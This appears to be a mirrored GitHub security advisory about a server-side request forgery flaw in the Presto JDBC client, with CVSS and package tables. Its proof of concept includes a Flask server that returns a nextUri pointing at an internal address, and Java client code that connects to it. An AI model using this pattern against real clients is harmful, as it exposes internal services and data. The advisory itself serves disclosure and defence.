GHSA-86q5-qcjc-7pv4 json
Presto JDBC Server-Side Request Forgery by nextUri
published 3y ago modified last yr.
- cvss
- 7.6
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
### Summary
Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan.
### Details
The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.
For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.
The relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` .
The flowchart is as follows:
<img src="https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png" alt="presto_jdbc_ssrf_2.png" style="zoom:50%;" />
### PoC
Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:
```python from flask import Flask, Response
app = Flask(__name__)
@app.route('/v1/statement', methods=['POST']) def next_uri_to_interal_server(): data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}' return Response(data, content_type='application/json; charset=utf-8', status=200)
if __name__ == '__main__': app.run(host="0.0.0.0",port=8000) ```
Connecting to the malicious server using JDBC:
```java String url = "jdbc:presto://<ip>:<port>"; Properties properties = new Properties(); properties.setProperty("user", "root"); try { Connection connection = DriverManager.getConnection(url, properties); Statement stmt = connection.createStatement(); ResultSet res = stmt.executeQuery("show catalogs"); while(res.next()) { System.out.println(res.getString(1)); } } catch (Exception e) { e.printStackTrace(); } ```
Pwned!
### Impact
When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.
Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance
Is GHSA-86q5-qcjc-7pv4 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.6 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| maven | com.facebook.presto:presto-jdbc | <=0.283 |
no fix listed |
Classification
- Weakness
-
- CWE-918 Server-Side Request Forgery
References
Sources
- GitHub Advisory GHSA-86q5-qcjc-7pv4
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.